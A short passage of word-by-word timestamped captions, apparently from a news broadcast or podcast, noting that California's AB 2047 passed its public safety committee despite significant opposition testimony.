  incentive
• 18:24
  to
• 18:24
  fight
• 18:25
  U.S.
• 18:25
  constitutional
• 18:26
  battles,
• 18:26
  and
• 18:26
  California's
• 18:27
  AB
• 18:27
  2047
• 18:28
  passed
• 18:29
  its
• 18:29
  public
• 18:29
  safety
• 18:29
  committee
• 18:30
  despite
• 18:30
  significant
• 18:31
  opposition
• 18:31
  testimony.